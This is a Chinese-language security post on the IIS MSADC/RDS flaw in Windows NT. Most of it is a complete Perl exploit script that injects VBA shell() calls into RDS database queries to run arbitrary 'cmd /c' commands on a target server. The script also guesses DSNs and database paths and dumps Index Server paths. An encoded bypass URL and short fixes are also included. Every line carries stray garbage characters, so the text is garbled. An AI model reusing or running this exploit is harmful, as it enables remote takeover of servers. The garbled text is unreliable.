IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
fE;Q:# Z. [xaisXvI4 涉及程序：
Z85|I.mr Microsoft NT server
+=fKT,-*G! PZ OKrW 描述：
k W-81 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
`a4 $lyZ ^R_e 详细：
v Xcy# 如果你没有时间读详细内容的话，就删除:
x>3@R0A 1: c:\Program Files\Common Files\System\Msadc\msadcs.dll
}T(z4P3 有关的安全问题就没有了。
6?gi_3g
8vD3=y K%^ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
j% tEZ"H '044V m;/ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
a6nlt? 1?D 关于利用ODBC远程漏洞的描述，请参看:
&8?`< _ l&ucA http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm IN !02`H v59nw]' 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
l)|lTOjb http://www.microsoft.com/security/bulletins/MS99-025faq.asp |*\C{b ti_u!kNv 这里不再论述。
>BoSw&T$Q k0ItG?Cv 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
H5M#q6`H6 P6Xp<^%E /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
`XMM1y>V9> 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
X"/~4\tJ" JAP (| |63Y
>U" #将下面这段保存为txt文件，然后: "perl -x 文件名"
a$}6:E o) I/P< #!perl
)I9aC~eAD #
_s>^?x} # MSADC/RDS 'usage' (aka exploit) script
<GfVMD #
F`& >NQb # by rain.forest.puppy
- 9&g[ #
kL;t8{n # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
GX38~pq # beta test and find errors!
(%DRt4u <H RVF F6N^ use Socket; use Getopt::Std;
l,y^HTc}7/ getopts("e:vd:h:XR", \%args);
L@A9{,9Pl VGJDqm! print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
|- OHve4A cU | _ if (!defined $args{h} && !defined $args{R}) {
(02g#A ` print qq~
WZ* &@|w Usage: msadc.pl -h <host> { -d <delay> -X -v }
^!u O(B& -h <host> = host you want to scan (ip or domain)
gb-tNhJa@b -d <seconds> = delay between calls, default 1 second
@ ;J|xkJ -X = dump Index Server path table, if available
l<N ?' & -v = verbose
?>?ZAr -e = external dictionary file for step 5
4 2np-Fc{S Or a -R will resume a command session
eT\p-4b J/7 u7_ ~; exit;}
(`mOB6j \e0x ,2 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
ca}S{" if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
8Mb$+^ zU if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
6`j<l5-h if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
_z%\'(l+ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
?>TbT fmR if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
W_D%|Ub2X ._(z~3s if (!defined $args{R}){ $ret = &has_msadc;
Cha?7F[xL die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Esa6hU# cJV!> 0ua print "Please type the NT commandline you want to run (cmd /c assumed):\n"
p1 ?J . "cmd /c ";
u2 om5e: $in=<STDIN>; chomp $in;
L]NYYP- $command="cmd /c " . $in ;
%\ _h7: C=EhY+5 if (defined $args{R}) {&load; exit;}
Bf(Mot^ JrxP,[qJG print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
G`WzJS*}v &try_btcustmr;
Qv=B q{N (ai72#nFtb print "\nStep 2: Trying to make our own DSN...";
lDH_ Y]bM &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
IjgBa -o/V ;<~j)8 print "\nStep 3: Trying known DSNs...";
A7e_w
7?a &known_dsn;
nFVbQa~ roL]v\tr print "\nStep 4: Trying known .mdbs...";
E.Pje@d &known_mdb;
-MsuBf tUn&z?7bF if (defined $args{e}){
f`bIQ 9R print "\nStep 5: Trying dictionary of DSN names...";
d`<#}-nh &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
vLD:(qTi <vO8_2,V- print "Sorry Charley...maybe next time?\n";
s+Cl exit;
Dt
(:u,% ?|gGsm+ ##############################################################################
=+k&&vOAn . Wd.) ^? sub sendraw { # ripped and modded from whisker
F C~|& sleep($delay); # it's a DoS on the server! At least on mine...
)lE3GDAPgZ my ($pstr)=@_;
^glbxbhI4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
vl>_e die("Socket problems\n");
zl,bMtQ if(connect(S,pack "SnA4x8",2,80,$target)){
{lTR/ select(S); $|=1;
U3(L.8(sA print $pstr; my @in=<S>;
e=YO.HT select(STDOUT); close(S);
*yL|} return @in;
P] {B^,E } else { die("Can't connect...\n"); }}
hVROzGZk 'JJ1#kKa ##############################################################################
!Q<8c =f F<H`8*q9 sub make_header { # make the HTTP request
=kyJaT^5[ my $msadc=<<EOT
b0rt.XB POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
2M!+gk=+ User-Agent: ACTIVEDATA
G}Q}H* Host: $ip
)^V5*#69D Content-Length: $clen
#J'Z5)i| Connection: Keep-Alive
W ??;4 8H HgN`_ ADCClientVersion:01.06
]Hv*^Bak Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
weTK#O0@v ./aZV --!ADM!ROX!YOUR!WORLD!
Cnb[t[hk+j Content-Type: application/x-varg
: 8p2Jxm Content-Length: $reqlen
l{B< "+8 ]l9,t5Y EOT
\xa36~hh40 ; $msadc=~s/\n/\r\n/g;
bw<~R 2[ return $msadc;}
A`+(VzZgJ od|N-R ##############################################################################
t*ri`}a{v kM6
EZ`mj sub make_req { # make the RDS request
P:bVcta9g my ($switch, $p1, $p2)=@_;
+dPE!: my $req=""; my $t1, $t2, $query, $dsn;
n57c^/A* .q~,.yI&j if ($switch==1){ # this is the btcustmr.mdb query
r!-L`GUm $query="Select * from Customers where City=" . make_shell();
q ? gQ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
g&5pfrC [ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
iq[2H$ PHE; elsif ($switch==2){ # this is general make table query
7c sl1|U $query="create table AZZ (B int, C varchar(10))";
k~W;TCJs $dsn="$p1";}
z}Mb4{d1 v/4X[6( elsif ($switch==3){ # this is general exploit table query
PgGrk5; $query="select * from AZZ where C=" . make_shell();
@EH4N%fH $dsn="$p1";}
l[x`*+ON:2 WZDokS R elsif ($switch==4){ # attempt to hork file info from index server
yA`]%U(( $query="select path from scope()";
l[!C-Tq $dsn="Provider=MSIDXS;";}
;Wp`th!F ` Q!FMv6Y^ elsif ($switch==5){ # bad query
BL Yk
<m $query="select";
$`+~QR!h $dsn="$p1";}
;d' O. i= 7\|NYT4 $t1= make_unicode($query);
&_Xv :? $t2= make_unicode($dsn);
Qnu&GB M $req = "\x02\x00\x03\x00";
~[bMfkc3 $req.= "\x08\x00" . pack ("S1", length($t1));
LTlC}3c28f $req.= "\x00\x00" . $t1 ;
P^d . , $req.= "\x08\x00" . pack ("S1", length($t2));
1 _:1/~R1 $req.= "\x00\x00" . $t2 ;
z|4@nqqX $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
3YZ3fhpw return $req;}
z 2EI"'4\9 @,f,tk=\S ##############################################################################
+T8XX@# hdNZ" :1s sub make_shell { # this makes the shell() statement
@bVh?T0~F, return "'|shell(\"$command\")|'";}
nms<6kfzL 4OESsN$O ##############################################################################
1:~m)"?I_^ My43\p sub make_unicode { # quick little function to convert to unicode
MCO$>QL my ($in)=@_; my $out;
nR|uAw for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Z ysUz return $out;}
%RR|QY* 2K7:gd8Ru ##############################################################################
' \vmfp = CSg5i&A= sub rdo_success { # checks for RDO return success (this is kludge)
g he=mQ- my (@in) = @_; my $base=content_start(@in);
ObHz+qRG if($in[$base]=~/multipart\/mixed/){
-<HvhW return 1 if( $in[$base+10]=~/^\x09\x00/ );}
jwE(]u return 0;}
sp]y! zb"5 DB?PS^-2 ##############################################################################
*ytd.^@r a(t <eN>b! sub make_dsn { # this makes a DSN for us
J hq5G" my @drives=("c","d","e","f");
fw ~%^* print "\nMaking DSN: ";
TKs@?Q,J foreach $drive (@drives) {
j$ i8@] print "$drive: ";
9g,L1 W*
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Q9'V&jm "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
FO)nW:8] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
F#C 6.`B $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
lNp:2 P return 0 if $2 eq "404"; # not found/doesn't exist
`0gK;D8t if($2 eq "200") {
% !/liS foreach $line (@results) {
KVe'2Q< return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
QMfy^t+I } return 0;}
sf&K<C]( |^9ig_k` ##############################################################################
u KdX4 4 Fc1 ' sub verify_exists {
2o7C2)YT$ my ($page)=@_;
f$*9J my @results=sendraw("GET $page HTTP/1.0\n\n");
s*U& [7P return $results[0];}
3ncvM>~g c!FjHlAnP ##############################################################################
[#h!3d|?B ^R DXX+ sub try_btcustmr {
\}Kp=8@nE my @drives=("c","d","e","f");
@z?.P;f 9# my @dirs=("winnt","winnt35","winnt351","win","windows");
7^e}|l ia lk6i![ foreach $dir (@dirs) {
X #C7r@H print "$dir -> "; # fun status so you can see progress
'cc4Y~0s foreach $drive (@drives) {
e<wj5:M| print "$drive: "; # ditto
nU#q@p)Xg $reqlen=length( make_req(1,$drive,$dir) ) - 28;
^i k|l= $reqlenlen=length( "$reqlen" );
. T>}O0L" $clen= 206 + $reqlenlen + $reqlen;
S#z8H+' ^\9G{}VY my @results=sendraw(make_header() . make_req(1,$drive,$dir));
q`K-T _< if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Nm.>C4 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
l\y*wr` r:Tb{cA ##############################################################################
L#N.pd
85~h+Q; sub odbc_error {
=_:L
wmI my (@in)=@_; my $base;
DLM9o3/*J my $base = content_start(@in);
vrDRSc6_ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
!`U<RlK7 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6)YNjh.{ * $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+W4g:bB1 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
U2?gODh ' return $in[$base+4].$in[$base+5].$in[$base+6];}
ZKL%rp_ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Vb#@o) z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
\ +A<s,x $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
i(kK!7W35 nU *fne? ##############################################################################
mwhn=y#]* SX,z J`" sub verbose {
n(1" 6 my ($in)=@_;
(}8 ;3pp return if !$verbose;
PFw "ICs print STDOUT "\n$in\n";}
JOq<lb= jYZWf `X~ ##############################################################################
|O2PcYNu YTit=4| sub save {
/Q_\h+ ` my ($p1, $p2, $p3, $p4)=@_;
T480w6-@ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
0-HE, lv print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
JwczE9~ o close OUT;}
#OTsD+2Za= `:4cb $ ##############################################################################
rI789 q qZ }XjL sub load {
A 6L}5#7- my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[{*#cr f open(IN,"<rds.save") || die("Couldn't open rds.save\n");
#"JU39 e @p=<IN>; close(IN);
'a*IZ b-M $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
k 'b|#c9c $target= inet_aton($ip) || die("inet_aton problems");
+rY0/T_0, print "Resuming to $ip ...";
C%>7mz-v5 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
6iWuBsal if($p[1]==1) {
/B7
G H5 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
`s $@6r$ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
]H[\~J my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
|L&V-f&K if (rdo_success(@results)){print "Success!\n";}
.zt]R@@6 else { print "failed\n"; verbose(odbc_error(@results));}}
5?MvO]_ elsif ($p[1]==3){
-;*Z!|e9 if(run_query("$p[3]")){
/K<Nlxcm print "Success!\n";} else { print "failed\n"; }}
swA"_A8>u elsif ($p[1]==4){
p]oo^ if(run_query($drvst . "$p[3]")){
Hf iM]^ print "Success!\n"; } else { print "failed\n"; }}
oJ+$&P( exit;}
op C11c/ gjV&X N ##############################################################################
\tqAv'jA| BoqW;SG $9 sub create_table {
H5 {J2M,f my ($in)=@_;
oH0 \6:S $reqlen=length( make_req(2,$in,"") ) - 28;
~^*tII OX $reqlenlen=length( "$reqlen" );
zZHsS$/ $clen= 206 + $reqlenlen + $reqlen;
z-j \S7F my @results=sendraw(make_header() . make_req(2,$in,""));
G#Ow>NJ return 1 if rdo_success(@results);
@:I/lg=Qd my $temp= odbc_error(@results); verbose($temp);
HPQ ,tlp6j return 1 if $temp=~/Table 'AZZ' already exists/;
ngjbE + return 0;}
9P$'ON'" $7,dKC & ##############################################################################
6>Y}2fT}o3 6eD[)_?]y sub known_dsn {
#a&Vx&7L # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
:\Z0 ^{ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
T Bco "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
: jPAA`, "banner", "banners", "ads", "ADCDemo", "ADCTest");
GZw<Y+/V"5 ) 9 4R\f foreach $dSn (@dsns) {
Yq_zlxd%F print ".";
i=4bY[ y next if (!is_access("DSN=$dSn"));
1jyWP#M# if(create_table("DSN=$dSn")){
iR-O6*PTC print "$dSn successful\n";
".u?-xcbJ if(run_query("DSN=$dSn")){
^:#%TCJ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$4"OD"Z Cq print "Something's borked. Use verbose next time\n";}}} print "\n";}
L!Ro`6|7; ` 6A"e Da ##############################################################################
PD?H5W3@ >X F@=J p sub is_access {
KlPH.R3MPO my ($in)=@_;
i469<^A $reqlen=length( make_req(5,$in,"") ) - 28;
cg~FW2Q $reqlenlen=length( "$reqlen" );
UnPSJ]VW $clen= 206 + $reqlenlen + $reqlen;
?>_.~b ~ my @results=sendraw(make_header() . make_req(5,$in,""));
KK+Mxoj, my $temp= odbc_error(@results);
Fi#t88+1 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Oq("E(z+f return 0;}
e.T5F`Du
- <sXvn ##############################################################################
xOT3>$ &~& i > sub run_query {
5?O"N my ($in)=@_;
#FcYJH $reqlen=length( make_req(3,$in,"") ) - 28;
~-6;h.x= $reqlenlen=length( "$reqlen" );
.^uu* S_ $clen= 206 + $reqlenlen + $reqlen;
,P|PPx%@ my @results=sendraw(make_header() . make_req(3,$in,""));
ivm.n g[ return 1 if rdo_success(@results);
"@n$(-. my $temp= odbc_error(@results); verbose($temp);
f t7wM i return 0;}
C {) )T5G 'e*C^(6 ##############################################################################
! qR(Rn pmS=$z;I sub known_mdb {
/sai}r 1 my @drives=("c","d","e","f","g");
R
Q 8okA my @dirs=("winnt","winnt35","winnt351","win","windows");
S("bN{7nE my $dir, $drive, $mdb;
LF0~H}S;6B my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
DlP}Fp { CUG6|qu # this is sparse, because I don't know of many
QZ6M,\ my @sysmdbs=( "\\catroot\\icatalog.mdb",
xQ[YQ!l "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ZoUf Q!2* "\\system32\\certmdb.mdb",
5E @V@kw "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
jsR1jou6 6f?DW-)jp/ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
DW-LkgfA "\\cfusion\\cfapps\\forums\\forums_.mdb",
84{<]y "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
v/.2Z(sZ "\\cfusion\\cfapps\\security\\realm_.mdb",
Wp'\NFe 8 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
, 9rT|:N "\\cfusion\\database\\cfexamples.mdb",
LOA
90.D "\\cfusion\\database\\cfsnippets.mdb",
vfj Ipg%i "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
1pn167IQL "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
i~2>kxf;K1 "\\cfusion\\brighttiger\\database\\cleam.mdb",
gk&?h7P"< "\\cfusion\\database\\smpolicy.mdb",
\yxr@z1_b "\\cfusion\\database\cypress.mdb",
YZk& 'w "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
P.wINo "\\website\\cgi-win\\dbsample.mdb",
pM=vW{"I/ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
;(a fz?T "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
XBc+_=)$ ); #these are just
J+T Ym%A;- foreach $drive (@drives) {
v!x[1[ foreach $dir (@dirs){
=_XcG! " foreach $mdb (@sysmdbs) {
&Ls0!dWC print ".";
Q.fBuF if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
|QY+vO7fxj print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
x:2_FoQ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
i .< }X print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Ik,w3 }*P* } else { print "Something's borked. Use verbose next time\n"; }}}}}
j ]P|iL _ % P%~`?! foreach $drive (@drives) {
48DsRy foreach $mdb (@mdbs) {
rS
jC/O&b print ".";
52 ~k:"c if(create_table($drv . $drive . $dir . $mdb)){
ZN?(lt)u9 print "\n" . $drive . $dir . $mdb . " successful\n";
T> z@;5C if(run_query($drv . $drive . $dir . $mdb)){
C
}[ u[) print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
2AluH8X/ } else { print "Something's borked. Use verbose next time\n"; }}}}
J
h"]iN }
i^>
RjR c: iMbJOn# ##############################################################################
+VeLd+Q} C+iP
@~ sub hork_idx {
OY)x
Kca print "\nAttempting to dump Index Server tables...\n";
3aOFpC s|# print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
L`!sV-. $reqlen=length( make_req(4,"","") ) - 28;
|N g[^ $reqlenlen=length( "$reqlen" );
v
ipmzg(S $clen= 206 + $reqlenlen + $reqlen;
A~6 Cs my @results=sendraw2(make_header() . make_req(4,"",""));
Glwpu-@X if (rdo_success(@results)){
zf !c my $max=@results; my $c; my %d;
&a:aW;^A7 for($c=19; $c<$max; $c++){
#Z.JOwi $results[$c]=~s/\x00//g;
E|TzrH $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
3ty){#: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
:K~7BJ(HO $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
w VvU]UT $d{"$1$2"}="";}
*vb)d0}P foreach $c (keys %d){ print "$c\n"; }
Xnh1pwDhe< } else {print "Index server doesn't seem to be installed.\n"; }}
A1_x^s Y}6)jzBV ##############################################################################
-7`J(f.rYC aJF `rLm sub dsn_dict {
`MD/C Fl4 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Bb o* while(<IN>){
,..b)H5n $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
V1fPH; next if (!is_access("DSN=$dSn"));
;CW$/^QNr5 if(create_table("DSN=$dSn")){
@|@43}M]C- print "$dSn successful\n";
zk]~cG5dT/ if(run_query("DSN=$dSn")){
YszhoHYh print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?/wloLS47 print "Something's borked. Use verbose next time\n";}}}
W1s|7 print "\n"; close(IN);}
a$GKrc,z jDnh/k0{d ##############################################################################
V;V9_qP, @ ^ e@.) sub sendraw2 { # ripped and modded from whisker
%F~
dmA#: sleep($delay); # it's a DoS on the server! At least on mine...
#&Ee 5xM= my ($pstr)=@_;
tFwlx3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`et< Z die("Socket problems\n");
QKO(8D 6+ if(connect(S,pack "SnA4x8",2,80,$target)){
#cs!`Ngb+ print "Connected. Getting data";
j7d;1 zB+G open(OUT,">raw.out"); my @in;
(t gaH,G select(S); $|=1; print $pstr;
}FXRp=s while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
4Bn+L,}. close(OUT); select(STDOUT); close(S); return @in;
*E]\l+]J } else { die("Can't connect...\n"); }}
-O5m@rwt< @o ED tN ##############################################################################
El %(je,| _X[c19q sub content_start { # this will take in the server headers
k-U/x"Pl my (@in)=@_; my $c;
\ a!<^|C & for ($c=1;$c<500;$c++) {
X&IY(CX if($in[$c] =~/^\x0d\x0a/){
UU/|s>F if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
J [l K else { return $c+1; }}}
N[-)c,O return -1;} # it should never get here actually
}>w4! LPO" K"'w ##############################################################################
kQ8 WO|bA 7L*`nU|h sub funky {
@jHio\/_ my (@in)=@_; my $error=odbc_error(@in);
#7 =LI\ if($error=~/ADO could not find the specified provider/){
=S,<yQJ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
gISs+g exit;}
i'<1xd(` if($error=~/A Handler is required/){
WQx; tX print "\nServer has custom handler filters (they most likely are patched)\n";
RHbwq] exit;}
9[ D7 N if($error=~/specified Handler has denied Access/){
0^ [ 6 print "\nServer has custom handler filters (they most likely are patched)\n";
,)1e+EnV& exit;}}
7W"menw B*IDx`^Y ##############################################################################
;>N ~ ,Q Y>~JI; Cu` sub has_msadc {
}^7V^W my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
/ 5Loj&!= my $base=content_start(@results);
Oe`t! &v return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^~l<N @ return 0;}
) v~]lk,o I.!/R` ########################
Hea<!z PH !`lqWO_/
: *\", qMp 解决方案：
5eA]7$ic 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
EB<q. 2、移除web 目录: /msadc
